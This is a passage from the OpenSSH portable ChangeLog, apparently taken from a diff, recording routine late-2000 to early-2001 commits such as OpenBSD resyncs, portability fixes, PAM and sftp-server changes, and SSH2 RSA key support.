markus@cvs.openbsd.org 2001/01/19 12:45:26 GMT 2001 by markus + [servconf.c ssh.h sshd.c] + only auth-chall.c needs #ifdef SKEY + - markus@cvs.openbsd.org 2001/01/19 15:55:10 GMT 2001 by markus + [auth-krb4.c auth-options.c auth-rh-rsa.c auth-rhosts.c auth-rsa.c + auth1.c auth2.c channels.c clientloop.c dh.c dispatch.c nchan.c + packet.c pathname.h readconf.c scp.c servconf.c serverloop.c + session.c ssh-add.c ssh-keygen.c ssh-keyscan.c ssh.c ssh.h + ssh1.h sshconnect1.c sshd.c ttymodes.c] + move ssh1 definitions to ssh1.h, pathnames to pathnames.h + - markus@cvs.openbsd.org 2001/01/19 16:48:14 + [sshd.8] + fix typo; from stevesk@ + - markus@cvs.openbsd.org 2001/01/19 16:50:58 + [ssh-dss.c] + clear and free digest, make consistent with other code (use dlen); from + stevesk@ + - markus@cvs.openbsd.org 2001/01/20 15:55:20 GMT 2001 by markus + [auth-options.c auth-options.h auth-rsa.c auth2.c] + pass the filename to auth_parse_options() + - markus@cvs.openbsd.org 2001/01/20 17:59:40 GMT 2001 + [readconf.c] + fix SIGSEGV from -o ""; problem noted by jehsom@togetherweb.com + - stevesk@cvs.openbsd.org 2001/01/20 18:20:29 + [sshconnect2.c] + dh_new_group() does not return NULL. ok markus@ + - markus@cvs.openbsd.org 2001/01/20 21:33:42 + [ssh-add.c] + do not loop forever if askpass does not exist; from + andrew@pimlott.ne.mediaone.net + - djm@cvs.openbsd.org 2001/01/20 23:00:56 + [servconf.c] + Check for NULL return from strdelim; ok markus + - djm@cvs.openbsd.org 2001/01/20 23:02:07 + [readconf.c] + KNF; ok markus + - jakob@cvs.openbsd.org 2001/01/21 9:00:33 + [ssh-keygen.1] + remove -R flag; ok markus@ + - markus@cvs.openbsd.org 2001/01/21 19:05:40 + [atomicio.c automicio.h auth-chall.c auth-krb4.c auth-options.c + auth-options.h auth-passwd.c auth-rh-rsa.c auth-rhosts.c auth-rsa.c + auth.c auth.h auth1.c auth2-chall.c auth2.c authfd.c authfile.c + bufaux.c bufaux.h buffer.c canahost.c canahost.h channels.c + cipher.c cli.c clientloop.c clientloop.h compat.c compress.c + deattack.c dh.c dispatch.c groupaccess.c hmac.c hostfile.c kex.c + key.c key.h log-client.c log-server.c log.c log.h login.c login.h + match.c misc.c misc.h nchan.c packet.c pty.c radix.h readconf.c + readpass.c readpass.h rsa.c scp.c servconf.c serverloop.c serverloop.h + session.c sftp-server.c ssh-add.c ssh-agent.c ssh-dss.c ssh-keygen.c + ssh-keyscan.c ssh-rsa.c ssh.c ssh.h sshconnect.c sshconnect.h + sshconnect1.c sshconnect2.c sshd.c tildexpand.c tildexpand.h + ttysmodes.c uidswap.c xmalloc.c] + split ssh.h and try to cleanup the #include mess. remove unnecessary + #includes. rename util.[ch] -> misc.[ch] + - (bal) renamed 'PIDDIR' to '_PATH_SSH_PIDDIR' to match OpenBSD tree + - (bal) Moved #ifdef KRB4 in auth-krb4.c above the #include to resolve + conflict when compiling for non-kerb install + - (bal) removed the #ifdef SKEY in auth1.c to match Markus' changes + on 1/19. + +20010120 + - (bal) OpenBSD Resync + - markus@cvs.openbsd.org 2001/01/19 12:45:26 + [ssh-chall.c servconf.c servconf.h ssh.h sshd.c] + only auth-chall.c needs #ifdef SKEY + - (bal) Slight auth2-pam.c clean up. + - (bal) Includes a fake-regexp.h to be only used if regcomp() is found, + but no 'regexp.h' found (SCO OpenServer 3 lacks the header). + +20010119 + - (djm) Update versions in RPM specfiles + - (bal) OpenBSD Resync + - markus@cvs.openbsd.org 2001/01/18 16:20:21 + [log-client.c log-server.c log.c readconf.c servconf.c ssh.1 ssh.h + sshd.8 sshd.c] + log() is at pri=LOG_INFO, since LOG_NOTICE goes to /dev/console on many + systems + - markus@cvs.openbsd.org 2001/01/18 16:59:59 + [auth-passwd.c auth.c auth.h auth1.c auth2.c serverloop.c session.c + session.h sshconnect1.c] + 1) removes fake skey from sshd, since this will be much + harder with /usr/libexec/auth/login_XXX + 2) share/unify code used in ssh-1 and ssh-2 authentication (server side) + 3) make addition of BSD_AUTH and other challenge reponse methods + easier. + - markus@cvs.openbsd.org 2001/01/18 17:12:43 + [auth-chall.c auth2-chall.c] + rename *-skey.c *-chall.c since the files are not skey specific + - (djm) Merge patch from Tim Waugh (via Nalin Dahyabhai ) + to fix NULL pointer deref and fake authloop breakage in PAM code. + - (bal) Updated contrib/cygwin/ by Corinna Vinschen + - (bal) Minor cygwin patch to auth1.c. Suggested by djm. + +20010118 + - (bal) Super Sized OpenBSD Resync + - markus@cvs.openbsd.org 2001/01/11 22:14:20 GMT 2001 by markus + [sshd.c] + maxfd+1 + - markus@cvs.openbsd.org 2001/01/13 17:59:18 + [ssh-keygen.1] + small ssh-keygen manpage cleanup; stevesk@pobox.com + - markus@cvs.openbsd.org 2001/01/13 18:03:07 + [scp.c ssh-keygen.c sshd.c] + getopt() returns -1 not EOF; stevesk@pobox.com + - markus@cvs.openbsd.org 2001/01/13 18:06:54 + [ssh-keyscan.c] + use SSH_DEFAULT_PORT; from stevesk@pobox.com + - markus@cvs.openbsd.org 2001/01/13 18:12:47 + [ssh-keyscan.c] + free() -> xfree(); fix memory leak; from stevesk@pobox.com + - markus@cvs.openbsd.org 2001/01/13 18:14:13 + [ssh-add.c] + typo, from stevesk@sweden.hp.com + - markus@cvs.openbsd.org 2001/01/13 18:32:50 + [packet.c session.c ssh.c sshconnect.c sshd.c] + split out keepalive from packet_interactive (from dale@accentre.com) + set IPTOS_LOWDELAY TCP_NODELAY IPTOS_THROUGHPUT for ssh2, too. + - markus@cvs.openbsd.org 2001/01/13 18:36:45 + [packet.c packet.h] + reorder, typo + - markus@cvs.openbsd.org 2001/01/13 18:38:00 + [auth-options.c] + fix comment + - markus@cvs.openbsd.org 2001/01/13 18:43:31 + [session.c] + Wall + - markus@cvs.openbsd.org 2001/01/13 19:14:08 + [clientloop.h clientloop.c ssh.c] + move callback to headerfile + - markus@cvs.openbsd.org 2001/01/15 21:40:10 + [ssh.c] + use log() instead of stderr + - markus@cvs.openbsd.org 2001/01/15 21:43:51 + [dh.c] + use error() not stderr! + - markus@cvs.openbsd.org 2001/01/15 21:45:29 + [sftp-server.c] + rename must fail if newpath exists, debug off by default + - markus@cvs.openbsd.org 2001/01/15 21:46:38 + [sftp-server.c] + readable long listing for sftp-server, ok deraadt@ + - markus@cvs.openbsd.org 2001/01/16 19:20:06 + [key.c ssh-rsa.c] + make "ssh-rsa" key format for ssh2 confirm to the ietf-drafts; from + galb@vandyke.com. note that you have to delete older ssh2-rsa keys, + since they are in the wrong format, too. they must be removed from + .ssh/authorized_keys2 and .ssh/known_hosts2, etc. + (cd; grep -v ssh-rsa .ssh/authorized_keys2 > TMP && mv TMP + .ssh/authorized_keys2) additionally, we now check that + BN_num_bits(rsa->n) >= 768. + - markus@cvs.openbsd.org 2001/01/16 20:54:27 + [sftp-server.c] + remove some statics. simpler handles; idea from nisse@lysator.liu.se + - deraadt@cvs.openbsd.org 2001/01/16 23:58:08 + [bufaux.c radix.c sshconnect.h sshconnect1.c] + indent + - (bal) Added bsd-strmode.[ch] since some non-OpenBSD platforms may + be missing such feature. + + +20010117 + - (djm) Only write random seed file at exit + - (djm) Make PAM support optional, enable with --with-pam + - (djm) Try to use libcrypt on Linux, but link it after OpenSSL (which + provides a crypt() of its own) + - (djm) Avoid a warning in bsd-bindresvport.c + - (djm) Try to avoid adding -I/usr/include to CPPFLAGS during SSL tests. This + can cause weird segfaults errors on Solaris + - (djm) Avoid warning in PAM code by making read_passphrase arguments const + - (djm) Add --with-pam to RPM spec files + +20010115 + - (bal) sftp-server.c change to use chmod() if fchmod() does not exist. + - (bal) utimes() support via utime() interface on machine that lack utimes(). + +20010114 + - (stevesk) initial work for OpenBSD "support supplementary group in + {Allow,Deny}Groups" patch: + - import getgrouplist.c from OpenBSD (bsd-getgrouplist.c) + - add bsd-getgrouplist.h + - new files groupaccess.[ch] + - build but don't use yet (need to merge auth.c changes) + - (stevesk) complete: + - markus@cvs.openbsd.org 2001/01/13 11:56:48 + [auth.c sshd.8] + support supplementary group in {Allow,Deny}Groups + from stevesk@pobox.com + +20010112 + - (bal) OpenBSD Sync + - markus@cvs.openbsd.org 2001/01/10 22:56:22 + [bufaux.h bufaux.c sftp-server.c sftp.h getput.h] + cleanup sftp-server implementation: + add buffer_get_int64, buffer_put_int64, GET_64BIT, PUT_64BIT + parse SSH2_FILEXFER_ATTR_EXTENDED + send SSH2_FX_EOF if readdir returns no more entries + reply to SSH2_FXP_EXTENDED message + use #defines from the draft + move #definations to sftp.h + more info: + http://www.ietf.org/internet-drafts/draft-ietf-secsh-filexfer-00.txt + - markus@cvs.openbsd.org 2001/01/10 19:43:20 + [sshd.c] + XXX - generate_empheral_server_key() is not safe against races, + because it calls log() + - markus@cvs.openbsd.org 2001/01/09 21:19:50 + [packet.c] + allow TCP_NDELAY for ipv6; from netbsd via itojun@ + +20010110 + - (djm) SNI/Reliant Unix needs USE_PIPES and $DISPLAY hack. Report from + Bladt Norbert + +20010109 + - (bal) Resync CVS ID of cli.c + - (stevesk) auth1.c: free should be after WITH_AIXAUTHENTICATE + code. + - (bal) OpenBSD Sync + - markus@cvs.openbsd.org 2001/01/08 22:29:05 + [auth2.c compat.c compat.h servconf.c servconf.h sshd.8 + sshd_config version.h] + implement option 'Banner /etc/issue.net' for ssh2, move version to + 2.3.1 (needed for bugcompat detection, 2.3.0 would fail if Banner + is enabled). + - markus@cvs.openbsd.org 2001/01/08 22:03:23 + [channels.c ssh-keyscan.c] + O_NDELAY -> O_NONBLOCK; thanks stevesk@pobox.com + - markus@cvs.openbsd.org 2001/01/08 21:55:41 + [sshconnect1.c] + more cleanups and fixes from stevesk@pobox.com: + 1) try_agent_authentication() for loop will overwrite key just + allocated with key_new(); don't alloc + 2) call ssh_close_authentication_connection() before exit + try_agent_authentication() + 3) free mem on bad passphrase in try_rsa_authentication() + - markus@cvs.openbsd.org 2001/01/08 21:48:17 + [kex.c] + missing free; thanks stevesk@pobox.com + - (bal) Detect if clock_t structure exists, if not define it. + - (bal) Detect if O_NONBLOCK exists, if not define it. + - (bal) removed news4-posix.h (now empty) + - (bal) changed bsd-bindresvport.c and bsd-rresvport.c to use 'socklen_t' + instead of 'int' + - (stevesk) sshd_config: sync + - (stevesk) defines.h: remove spurious ``;'' + +20010108 + - (bal) Fixed another typo in cli.c + - (bal) OpenBSD Sync + - markus@cvs.openbsd.org 2001/01/07 21:26:55 + [cli.c] + typo + - markus@cvs.openbsd.org 2001/01/07 21:26:55 + [cli.c] + missing free, stevesk@pobox.com + - markus@cvs.openbsd.org 2001/01/07 19:06:25 + [auth1.c] + missing free, stevesk@pobox.com + - markus@cvs.openbsd.org 2001/01/07 11:28:04 + [log-client.c log-server.c log.c readconf.c servconf.c ssh.1 + ssh.h sshd.8 sshd.c] + rename SYSLOG_LEVEL_INFO->SYSLOG_LEVEL_NOTICE + syslog priority changes: + fatal() LOG_ERR -> LOG_CRIT + log() LOG_INFO -> LOG_NOTICE + - Updated TODO + +20010107 + - (bal) OpenBSD Sync + - markus@cvs.openbsd.org 2001/01/06 11:23:27 + [ssh-rsa.c] + remove unused + - itojun@cvs.openbsd.org 2001/01/05 08:23:29 + [ssh-keyscan.1] + missing .El + - markus@cvs.openbsd.org 2001/01/04 22:41:03 + [session.c sshconnect.c] + consistent use of _PATH_BSHELL; from stevesk@pobox.com + - djm@cvs.openbsd.org 2001/01/04 22:35:32 + [ssh.1 sshd.8] + Mention AES as available SSH2 Cipher; ok markus + - markus@cvs.openbsd.org 2001/01/04 22:25:58 + [sshd.c] + sync usage()/man with defaults; from stevesk@pobox.com + - markus@cvs.openbsd.org 2001/01/04 22:21:26 + [sshconnect2.c] + handle SSH2_MSG_USERAUTH_BANNER; fixes bug when connecting to a server + that prints a banner (e.g. /etc/issue.net) + +20010105 + - (bal) contrib/caldera/ provided by Tim Rice + - (bal) bsd-getcwd.c and bsd-setenv.c changed from bcopy() to memmove() + +20010104 + - (djm) Fix memory leak on systems with BROKEN_GETADDRINFO. Based on + work by Chris Vaughan + +20010103 + - (bal) fixed up sshconnect.c so it was closer inline with the OpenBSD + tree (mainly positioning) + - (bal) OpenSSH CVS Update + - markus@cvs.openbsd.org 2001/01/02 20:41:02 + [packet.c] + log remote ip on disconnect; PR 1600 from jcs@rt.fm + - markus@cvs.openbsd.org 2001/01/02 20:50:56 + [sshconnect.c] + strict_host_key_checking for host_status != HOST_CHANGED && + ip_status == HOST_CHANGED + - (bal) authfile.c: Synced CVS ID tag + - (bal) UnixWare 2.0 fixes by Tim Rice + - (bal) Disable sftp-server if no 64bit int support exists. Based on + patch by Tim Rice + - (bal) Makefile.in changes to uninstall: target to remove sftp-server + and sftp-server.8 manpage. + +20010102 + - (bal) OpenBSD CVS Update + - markus@cvs.openbsd.org 2001/01/01 14:52:49 + [scp.c] + use shared fatal(); from stevesk@pobox.com + +20001231 + - (bal) Reverted out of MAXHOSTNAMELEN. This should be set per OS. + for multiple reasons. + - (bal) Reverted out of a partial NeXT patch. + +20001230 + - (bal) OpenBSD CVS Update + - markus@cvs.openbsd.org 2000/12/28 18:58:30 + [ssh-keygen.c] + enable 'ssh-keygen -l -f ~/.ssh/{authorized_keys,known_hosts}{,2} + - markus@cvs.openbsd.org 2000/12/29 22:19:13 + [channels.c] + missing xfree; from vaughan99@yahoo.com + - (bal) Resynced CVS ID with OpenBSD for channel.c and uidswap.c + - (bal) if no MAXHOSTNAMELEN is defined. Default to 64 character defination. + Suggested by Christian Kurz + - (bal) Add in '.c.o' section to Makefile.in to address make programs that + don't honor CPPFLAGS by default. Suggested by Lutz Jaenicke + + +20001229 + - (bal) Fixed spelling of 'authorized_keys' in ssh-copy-id.1 by Christian + Kurz + - (bal) OpenBSD CVS Update + - markus@cvs.openbsd.org 2000/12/28 14:25:51 + [auth.h auth2.c] + count authentication failures only + - markus@cvs.openbsd.org 2000/12/28 14:25:03 + [sshconnect.c] + fingerprint for MITM attacks, too. + - markus@cvs.openbsd.org 2000/12/28 12:03:57 + [sshd.8 sshd.c] + document -D + - markus@cvs.openbsd.org 2000/12/27 14:19:21 + [serverloop.c] + less chatty + - markus@cvs.openbsd.org 2000/12/27 12:34 + [auth1.c sshconnect2.c sshd.c] + typo + - markus@cvs.openbsd.org 2000/12/27 12:30:19 + [readconf.c readconf.h ssh.1 sshconnect.c] + new option: HostKeyAlias: allow the user to record the host key + under a different name. This is useful for ssh tunneling over + forwarded connections or if you run multiple sshd's on different + ports on the same machine. + - markus@cvs.openbsd.org 2000/12/27 11:51:53 + [ssh.1 ssh.c] + multiple -t force pty allocation, document ORIGINAL_COMMAND + - markus@cvs.openbsd.org 2000/12/27 11:41:31 + [sshd.8] + update for ssh-2 + - (stevesk) compress.[ch] sync with openbsd; missed in prototype + fix merge. + +20001228 + - (bal) Patch to add libutil.h to loginrec.c only if the platform has + libutil.h. Suggested by Pekka Savola + - (djm) Update to new x11-askpass in RPM spec + - (bal) SCO patch to not include since it's unrelated + header. Patch by Tim Rice + - Updated TODO w/ known HP/UX issue + - (bal) removed extra noticed by Kevin Steves and removed the + bad reference to 'NeXT including it else were' on the #ifdef version. + +20001227 + - (bal) Typo in configure.in: entut?ent should be endut?ent. Suggested by + Takumi Yamane + - (bal) Checks for getrlimit(), sysconf(), and setdtablesize(). Patch + by Corinna Vinschen + - (djm) Fix catman-do target for non-bash + - (bal) Typo in configure.in: entut?ent should be endut?ent. Suggested by + Takumi Yamane + - (bal) Checks for getrlimit(), sysconf(), and setdtablesize(). Patch + by Corinna Vinschen + - (djm) Fix catman-do target for non-bash + - (bal) Fixed NeXT's lack of CPPFLAGS honoring. + - (bal) ssh-keyscan.c: NeXT (and older BSDs) don't support getrlimit() w/ + 'RLIMIT_NOFILE' + - (djm) Remove *.Ylonen files. They are no longer in the OpenBSD tree, + the info in COPYING.Ylonen has been moved to the start of each + SSH1-derived file and README.Ylonen is well out of date. + +20001223 + - (bal) Fixed Makefile.in to support recompile of all ssh and sshd objects + if a change to config.h has occurred. Suggested by Gert Doering + + - (bal) OpenBSD CVS Update: + - markus@cvs.openbsd.org 2000/12/22 16:49:40 + [ssh-keygen.c] + fix ssh-keygen -x -t type > file; from Roumen.Petrov@skalasoft.com + +20001222 + - Updated RCSID for pty.c + - (bal) OpenBSD CVS Updates: + - markus@cvs.openbsd.org 2000/12/21 15:10:16 + [auth-rh-rsa.c hostfile.c hostfile.h sshconnect.c] + print keyfile:line for changed hostkeys, for deraadt@, ok deraadt@ + - markus@cvs.openbsd.org 2000/12/20 19:26:56 + [authfile.c] + allow ssh -i userkey for root + - markus@cvs.openbsd.org 2000/12/20 19:37:21 + [authfd.c authfd.h kex.c sshconnect2.c sshd.c uidswap.c uidswap.h] + fix prototypes; from stevesk@pobox.com + - markus@cvs.openbsd.org 2000/12/20 19:32:08 + [sshd.c] + init pointer to NULL; report from Jan.Ivan@cern.ch + - markus@cvs.openbsd.org 2000/12/19 23:17:54 + [auth-krb4.c auth-options.c auth-options.h auth-rhosts.c auth-rsa.c + auth1.c auth2-skey.c auth2.c authfd.c authfd.h authfile.c bufaux.c + bufaux.h buffer.c canohost.c channels.c clientloop.c compress.c + crc32.c deattack.c getput.h hmac.c hmac.h hostfile.c kex.c kex.h + key.c key.h log.c login.c match.c match.h mpaux.c mpaux.h packet.c + packet.h radix.c readconf.c rsa.c scp.c servconf.c servconf.h + serverloop.c session.c sftp-server.c ssh-agent.c ssh-dss.c ssh-dss.h + ssh-keygen.c ssh-keyscan.c ssh-rsa.c ssh-rsa.h ssh.c ssh.h uuencode.c + uuencode.h sshconnect1.c sshconnect2.c sshd.c tildexpand.c] + replace 'unsigned bla' with 'u_bla' everywhere. also replace 'char + unsigned' with u_char. + +20001221 + - (stevesk) OpenBSD CVS updates: + - markus@cvs.openbsd.org 2000/12/19 15:43:45 + [authfile.c channels.c sftp-server.c ssh-agent.c] + remove() -> unlink() for consistency + - markus@cvs.openbsd.org 2000/12/19 15:48:09 + [ssh-keyscan.c] + replace with + - markus@cvs.openbsd.org 2000/12/17 02:33:40 + [uidswap.c] + typo; from wsanchez@apple.com + +20001220 + - (djm) Workaround PAM inconsistencies between Solaris derived PAM code + and Linux-PAM. Based on report and fix from Andrew Morgan + + +20001218 + - (stevesk) rsa.c: entropy.h not needed. + - (bal) split CFLAGS into CFLAGS and CPPFLAGS in configure.in and Makefile. + Suggested by Wilfredo Sanchez + +20001216 + - (stevesk) OpenBSD CVS updates: + - markus@cvs.openbsd.org 2000/12/16 02:53:57 + [scp.c] + allow + in usernames; request from Florian.Weimer@RUS.Uni-Stuttgart.DE + - markus@cvs.openbsd.org 2000/12/16 02:39:57 + [scp.c] + unused; from stevesk@pobox.com + +20001215 + - (stevesk) Old OpenBSD patch wasn't completely applied: + - markus@cvs.openbsd.org 2000/01/24 22:11:20 + [scp.c] + allow '.' in usernames; from jedgar@fxp.org + - (stevesk) OpenBSD CVS updates: + - markus@cvs.openbsd.org 2000/12/13 16:26:53 + [ssh-keyscan.c] + fatal already adds \n; from stevesk@pobox.com + - markus@cvs.openbsd.org 2000/12/13 16:25:44 + [ssh-agent.c] + remove redundant spaces; from stevesk@pobox.com + - ho@cvs.openbsd.org 2000/12/12 15:50:21 + [pty.c] + When failing to set tty owner and mode on a read-only filesystem, don't + abort if the tty already has correct owner and reasonably sane modes. + Example; permit 'root' to login to a firewall with read-only root fs. + (markus@ ok) + - deraadt@cvs.openbsd.org 2000/12/13 06:36:05 + [pty.c] + KNF + - markus@cvs.openbsd.org 2000/12/12 14:45:21 + [sshd.c] + source port < 1024 is no longer required for rhosts-rsa since it + adds no additional security. + - markus@cvs.openbsd.org 2000/12/12 16:11:49 + [ssh.1 ssh.c] + rhosts-rsa is no longer automagically disabled if ssh is not privileged. + UsePrivilegedPort=no disables rhosts-rsa _only_ for old servers. + these changes should not change the visible default behaviour of the ssh client. + - deraadt@cvs.openbsd.org 2000/12/11 10:27:33 + [scp.c] + when copying 0-sized files, do not re-print ETA time at completion + - provos@cvs.openbsd.org 2000/12/15 10:30:15 + [kex.c kex.h sshconnect2.c sshd.c] + compute diffie-hellman in parallel between server and client. okay markus@ + +20001213 + - (djm) Make sure we reset the SIGPIPE disposition after we fork. Report + from Andreas M. Kirchwitz + - (stevesk) OpenBSD CVS update: + - markus@cvs.openbsd.org 2000/12/12 15:30:02 + [ssh-keyscan.c ssh.c sshd.c] + consistently use __progname; from stevesk@pobox.com + +20001211 + - (bal) Applied patch to include ssh-keyscan into Redhat's package, and + patch to install ssh-keyscan manpage. Patch by Pekka Savola + + - (bal) OpenbSD CVS update + - markus@cvs.openbsd.org 2000/12/10 17:01:53 + [sshconnect1.c] + always request new challenge for skey/tis-auth, fixes interop with + other implementations; report from roth@feep.net + +20001210 + - (bal) OpenBSD CVS updates + - markus@cvs.openbsd.org 2000/12/09 13:41:51 + [cipher.c cipher.h rijndael.c rijndael.h rijndael_boxes.h] + undo rijndael changes + - markus@cvs.openbsd.org 2000/12/09 13:48:31 + [rijndael.c] + fix byte order bug w/o introducing new implementation + - markus@cvs.openbsd.org 2000/12/09 14:08:27 + [sftp-server.c] + "" -> "." for realpath; from vinschen@redhat.com + - markus@cvs.openbsd.org 2000/12/09 14:06:54 + [ssh-agent.c] + extern int optind; from stevesk@sweden.hp.com + - provos@cvs.openbsd.org 2000/12/09 23:51:11 + [compat.c] + remove unnecessary '\n' + +20001209 + - (bal) OpenBSD CVS updates: + - djm@cvs.openbsd.org 2000/12/07 4:24:59 + [ssh.1] + Typo fix from Wilfredo Sanchez ; ok theo + +20001207 + - (bal) OpenBSD CVS updates: + - markus@cvs.openbsd.org 2000/12/06 22:58:14 + [compat.c compat.h packet.c] + disable debug messages for ssh.com/f-secure 2.0.1x, 2.1.0 + - markus@cvs.openbsd.org 2000/12/06 23:10:39 + [rijndael.c] + unexpand(1) + - markus@cvs.openbsd.org 2000/12/06 23:05:43 + [cipher.c cipher.h rijndael.c rijndael.h rijndael_boxes.h] + new rijndael implementation. fixes endian bugs + +20001206 + - (bal) OpenBSD CVS updates: + - markus@cvs.openbsd.org 2000/12/05 20:34:09 + [channels.c channels.h clientloop.c serverloop.c] + async connects for -R/-L; ok deraadt@ + - todd@cvs.openssh.org 2000/12/05 16:47:28 + [sshd.c] + tweak comment to reflect real location of pid file; ok provos@ + - (stevesk) Import from OpenBSD for systems that don't + have it (used in ssh-keyscan). + - (stevesk) OpenBSD CVS update: + - markus@cvs.openbsd.org 2000/12/06 19:57:48 + [ssh-keyscan.c] + err(3) -> internal error(), from stevesk@sweden.hp.com + +20001205 + - (bal) OpenBSD CVS updates: + - markus@cvs.openbsd.org 2000/12/04 19:24:02 + [ssh-keyscan.c ssh-keyscan.1] + David Maziere's ssh-keyscan, ok niels@ + - (bal) Updated Makefile.in to include ssh-keyscan that was just added + to the recent OpenBSD source tree. + - (stevesk) fix typos in contrib/hpux/README + +20001204 + - (bal) More C functions defined in NeXT that are unaccessable without + defining -POSIX. + - (bal) OpenBSD CVS updates: + - markus@cvs.openbsd.org 2000/12/03 11:29:04 + [compat.c] + remove fallback to SSH_BUG_HMAC now that the drafts are updated + - markus@cvs.openbsd.org 2000/12/03 11:27:55 + [compat.c] + correctly match "2.1.0.pl2 SSH" etc; from + pekkas@netcore.fi/bugzilla.redhat + - markus@cvs.openbsd.org 2000/12/03 11:15:03 + [auth2.c compat.c compat.h sshconnect2.c] + support f-secure/ssh.com 2.0.12; ok niels@ + +20001203 + - (bal) OpenBSD CVS updates: + - markus@cvs.openbsd.org 2000/11/30 22:54:31 + [channels.c] + debug->warn if tried to do -R style fwd w/o client requesting this; + ok neils@ + - markus@cvs.openbsd.org 2000/11/29 20:39:17 + [cipher.c] + des_cbc_encrypt -> des_ncbc_encrypt since it already updates the IV + - markus@cvs.openbsd.org 2000/11/30 18:33:05 + [ssh-agent.c] + agents must not dump core, ok niels@ + - markus@cvs.openbsd.org 2000/11/30 07:04:02 + [ssh.1] + T is for both protocols + - markus@cvs.openbsd.org 2000/12/01 00:00:51 + [ssh.1] + typo; from green@FreeBSD.org + - markus@cvs.openbsd.org 2000/11/30 07:02:35 + [ssh.c] + check -T before isatty() + - provos@cvs.openbsd.org 2000/11/29 13:51:27 + [sshconnect.c] + show IP address and hostname when new key is encountered. okay markus@ + - markus@cvs.openbsd.org 2000/11/30 22:53:35 + [sshconnect.c] + disable agent/x11/port fwding if hostkey has changed; ok niels@ + - marksu@cvs.openbsd.org 2000/11/29 21:11:59 + [sshd.c] + sshd -D, startup w/o deamon(), for monitoring scripts or inittab; + from handler@sub-rosa.com and eric@urbanrange.com; ok niels@ + - (djm) Added patch from Nalin Dahyabhai to enable + PAM authentication using KbdInteractive. + - (djm) Added another TODO + +20001202 + - (bal) Backed out of part of Alain St-Denis' loginrec.c patch. + - (bal) Irix need some sort of mansubdir, patch by Michael Stone + + +20001129 + - (djm) Back out all the serverloop.c hacks. sshd will now hang again + if there are background children with open fds. + - (djm) bsd-rresvport.c bzero -> memset + - (djm) Don't fail in defines.h on absence of 64 bit types (we will + still fail during compilation of sftp-server). + - (djm) Fail if ar is not found during configure + - (djm) OpenBSD CVS updates: + - provos@cvs.openbsd.org 2000/11/22 08:38:31 + [sshd.8] + talk about /etc/primes, okay markus@ + - markus@cvs.openbsd.org 2000/11/23 14:03:48 + [ssh.c sshconnect1.c sshconnect2.c] + complain about invalid ciphers for ssh1/ssh2, fall back to reasonable + defaults + - markus@cvs.openbsd.org 2000/11/25 09:42:53 + [sshconnect1.c] + reorder check for illegal ciphers, bugreport from espie@ + - markus@cvs.openbsd.org 2000/11/25 10:19:34 + [ssh-keygen.c ssh.h] + print keytype when generating a key. + reasonable defaults for RSA1/RSA/DSA keys. + - (djm) Patch from Pekka Savola to include a few + more manpage paths in fixpaths calls + - (djm) Also add xauth path at Pekka's suggestion. + - (djm) Add Redhat RPM patch for AUTHPRIV SyslogFacility + +20001125 + - (djm) Give up privs when reading seed file + +20001123 + - (bal) Merge OpenBSD changes: + - markus@cvs.openbsd.org 2000/11/15 22:31:36 + [auth-options.c] + case insensitive key options; from stevesk@sweeden.hp.com + - markus@cvs.openbsd.org 2000/11/16 17:55:43 + [dh.c] + do not use perror() in sshd, after child is forked() + - markus@cvs.openbsd.org 2000/11/14 23:42:40 + [auth-rsa.c] + parse option only if key matches; fix some confusing seen by the client + - markus@cvs.openbsd.org 2000/11/14 23:44:19 + [session.c] + check no_agent_forward_flag for ssh-2, too + - markus@cvs.openbsd.org 2000/11/15 + [ssh-agent.1] + reorder SYNOPSIS; typo, use .It + - markus@cvs.openbsd.org 2000/11/14 23:48:55 + [ssh-agent.c] + do not reorder keys if a key is removed + - markus@cvs.openbsd.org 2000/11/15 19:58:08 + [ssh.c] + just ignore non existing user keys + - millert@cvs.openbsd.org 200/11/15 20:24:43 + [ssh-keygen.c] + Add missing \n at end of error message. + +20001122 + - (bal) Minor patch to ensure platforms lacking IRIX job limit supports + are compilable. + - (bal) Updated TODO as of 11/18/2000 with known things to resolve. + +20001117 + - (bal) Changed from 'primes' to 'primes.out' for consistancy sake. It + has no affect the output. Patch by Corinna Vinschen + - (stevesk) Reworked progname support. + - (bal) Misplaced #include "includes.h" in bsd-setproctitle.c. Patch by + Shinichi Maruyama + +20001116 + - (bal) Added in MAXSYMLINK test in bsd-realpath.c. Required for some SCO + releases. + - (bal) Make builds work outside of source tree. Patch by Mark D. Roth + + +20001113 + - (djm) Add pointer to http://www.imasy.or.jp/~gotoh/connect.c to + contrib/README + - (djm) Merge OpenBSD changes: + - markus@cvs.openbsd.org 2000/11/06 16:04:56 + [channels.c channels.h clientloop.c nchan.c serverloop.c] + [session.c ssh.c] + agent forwarding and -R for ssh2, based on work from + jhuuskon@messi.uku.fi + - markus@cvs.openbsd.org 2000/11/06 16:13:27 + [ssh.c sshconnect.c sshd.c] + do not disabled rhosts(rsa) if server port > 1024; from + pekkas@netcore.fi + - markus@cvs.openbsd.org 2000/11/06 16:16:35 + [sshconnect.c] + downgrade client to 1.3 if server is 1.4; help from mdb@juniper.net + - markus@cvs.openbsd.org 2000/11/09 18:04:40 + [auth1.c] + typo; from mouring@pconline.com + - markus@cvs.openbsd.org 2000/11/12 12:03:28 + [ssh-agent.c] + off-by-one when removing a key from the agent + - markus@cvs.openbsd.org 2000/11/12 12:50:39 + [auth-rh-rsa.c auth2.c authfd.c authfd.h] + [authfile.c hostfile.c kex.c kex.h key.c key.h myproposal.h] + [readconf.c readconf.h rsa.c rsa.h servconf.c servconf.h ssh-add.c] + [ssh-agent.c ssh-keygen.1 ssh-keygen.c ssh.1 ssh.c ssh_config] + [sshconnect1.c sshconnect2.c sshd.8 sshd.c sshd_config ssh-dss.c] + [ssh-dss.h ssh-rsa.c ssh-rsa.h dsa.c dsa.h] + add support for RSA to SSH2. please test. + there are now 3 types of keys: RSA1 is used by ssh-1 only, + RSA and DSA are used by SSH2. + you can use 'ssh-keygen -t rsa -f ssh2_rsa_file' to generate RSA + keys for SSH2 and use the RSA keys for hostkeys or for user keys. + SSH2 RSA or DSA keys are added to .ssh/authorised_keys2 as before. + - (djm) Fix up Makefile and Redhat init script to create RSA host keys + - (djm) Change to interim version + - (djm) Fix RPM spec file stupidity + - (djm) fixpaths to DSA and RSA keys too + +20001112 + - (bal) SCO Patch to add needed libraries for configure.in. Patch by + Phillips Porch + - (bal) IRIX patch to adding Job Limits. Patch by Denis Parker + + - (stevesk) pty.c: HP-UX 10 and 11 don't define TIOCSCTTY. Add error() to + failed ioctl(TIOCSCTTY) call. + +20001111 + - (djm) Added /etc/primes for kex DH group neg, fixup Makefile.in and + packaging files + - (djm) Fix new Makefile.in 